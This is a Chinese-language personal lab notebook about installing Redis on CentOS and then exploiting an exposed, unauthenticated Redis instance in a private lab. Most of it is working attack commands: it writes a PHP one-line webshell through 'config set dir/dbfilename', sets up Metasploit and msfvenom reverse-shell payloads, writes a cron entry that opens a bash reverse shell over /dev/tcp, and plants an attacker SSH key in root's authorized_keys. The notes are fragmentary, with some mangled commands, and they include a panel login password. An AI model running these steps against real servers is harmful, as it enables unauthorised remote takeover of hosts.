CentOS安装redis
从官网https://redis.io/download/下载安装包
上传到/home/strix目录下
解压
tar -zxvf redis-7.2.3.tar.gz -C /usr/local
修改配置文件
vim redis.conf
daemonize no
改成
daemonize yes
下面一行必须改成 bind 0.0.0.0 或注释,否则只能在本机访问
bind 127.0.0.1
如果需要密码访问,取消requirepass的注释,在外网(比如阿里云)这个必须要配置!
requirepass yourpassword
编译
yum install gcc-c++ -y
make && make install
启动redis服务
redis-server redis.conf > redis.log 2>&1 &
netstat -an | grep 6379
设置别名
vim ~/.bashrc
alias redis='/usr/local/redis-7.2.3/src/redis-server /usr/local/redis-7.2.3/redis.conf'
alias rcli='/usr/local/redis-7.2.3/src/redis-cli'
source ~/.bashrc
使用redis启动服务
创建2个服务器
Redis server 192.168.23.135
Redis cli 192.168.23.136
关闭防火墙Close firewall
systemctl stop firewalld.service
systemctl disable firewalld.service
安装小皮面板
Centos安装脚本 yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
安装成功后
请用浏览器访问面板:
外网:http://119.3.119.253:9080/5EF6EA
内网:http://192.168.23.135:9080/5EF6EA
系统初始账号:admin
系统初始密码:ml8mqKulcl
官网:https://www.xp.cn
如果使用的是云服务器,请至安全组开放9080端口
如果使用ftp,请开放21以及30000-30050端口
您修改了面板程序,这是不允许的。
请进入服务器命令行输入xp查看修复方法
动态修改配置
config set:动态修改配置,重启以后失效
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
/usr/local/redis-7.2.3/src/redis-cli -h 192.168.23.135 -p 6379
Could not connect to Redis at 192.168.23.135:6379: Connection timed out
not connected> ping 192.168.23.135
firewall closed Could not connect to Redis
改redis版本
因192.168.23.136始终无法连接到192.168.23.135,修改配置后也不行,最终放弃,不知道哪里配置出了问题。2023年11月19号周日花了2个小时也没解决。就决定安装无涯老师装的版本,现在的环境先保留,等复现以后再来查看具体原因。
重新安装Redis
在192.168.23.139/上重新安装redis
cd /usr/local/soft/
wget https://download.redis.io/releases/redis-6.0.9.tar.gz
https://download.redis.io/releases/redis-6.0.9.tar.gz
yum -y install centos-release-scl
yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils
scl enable devtoolset-9 bash
echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile
protected-mode 没改我以为是注释掉的,改不改没关系。
建立反弹连接过程
关闭防火墙
systemctl stop firewalld.service
systemctl disable firewalld.service
/usr/local/soft/redis-6.0.9/src/redis-cli -h 192.168.23.143 -p 6379
vim /usr/local/soft/redis-6.0.9/redis.conf
http://192.168.23.143/redis.php
一句话木马
成功使用一句话木马建立反弹连接
命令含义
标准输入 (stdin) :代码为 0 ,使用 < 或
标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>
例:
netstat -an|grep 3306 >out.txt // 输出到文件
find / -name "test.py" 2>/dev/null // 过滤报错
bash 反弹连接
客户端
nc
readlink -f $(which nc)
一开始并未成功,对防火墙进行如下配置后成功建立反弹连接
firewall-cmd --zone=public --add-port=7777/tcp –permanent
systemctl status firewalld
systemctl start firewalld
firewall-cmd --zone=public --add-port=7777/tcp --permanent
firewall-cmd --reload
systemctl stop firewalld
msf
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.23.133
set lport 7777
run
使用如下命令生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.23.133 lport=7777 -i 5 -f exe -o test.exe
socat
socat TCP-LISTEN:7777 -192.168.23.133
使用定时任务
corn表达式
set x "\n* * * * * bash -i >& /dev/tcp/192.168.23.154/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
SSH key免密登录
set xxx "\n\n \n\n\n"
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC06QxL3nhJE+EouZTp7YI3abMmVgEufaJhBRIxSqFSNjZI6AfuutZmriHaXFIckPYiO2w5jr8dZFR2Z/pDRRCD02RIntrTixXS8kkfRqLK5mFA1vZ7ACHzFe9H5gvg+ElztdgDkhpH3oc1cF2+6/XHiRXwuGCeNzVHZWCaMVDfZT+8qYSrV4TEVWioFFMak/6AQQPfeLyv+bTBnXfKqszSTIqoqVVpQ85f/1ZPv+uVZJO78ukWtmSJrlxjsZc1ndQy7Brd5zSYpJe1/jFnUnCJws9guZ9u2Oo644FydDs0NvV6lS0S2soBr5OxsXfrXh8V9Zb6jy5EYqofXu3+yyBx root@localhost.localdomain
set xxx "\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC06QxL3nhJE+EouZTp7YI3abMmVgEufaJhBRIxSqFSNjZI6AfuutZmriHaXFIckPYiO2w5jr8dZFR2Z/pDRRCD02RIntrTixXS8kkfRqLK5mFA1vZ7ACHzFe9H5gvg+ElztdgDkhpH3oc1cF2+6/XHiRXwuGCeNzVHZWCaMVDfZT+8qYSrV4TEVWioFFMak/6AQQPfeLyv+bTBnXfKqszSTIqoqVVpQ85f/1ZPv+uVZJO78ukWtmSJrlxjsZc1ndQy7Brd5zSYpJe1/jFnUnCJws9guZ9u2Oo644FydDs0NvV6lS0S2soBr5OxsXfrXh8V9Zb6jy5EYqofXu3+yyBx root@localhost.localdomain\n\n\n"
config set dbfilename authorized_keys
save
config set dir /root/.ssh
ssh -i ./id_rsa root@192.168.23.143
ssh -i ./id_rsa root@192.168.23.143
加固
https://redis.io/docs/management/security/
Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.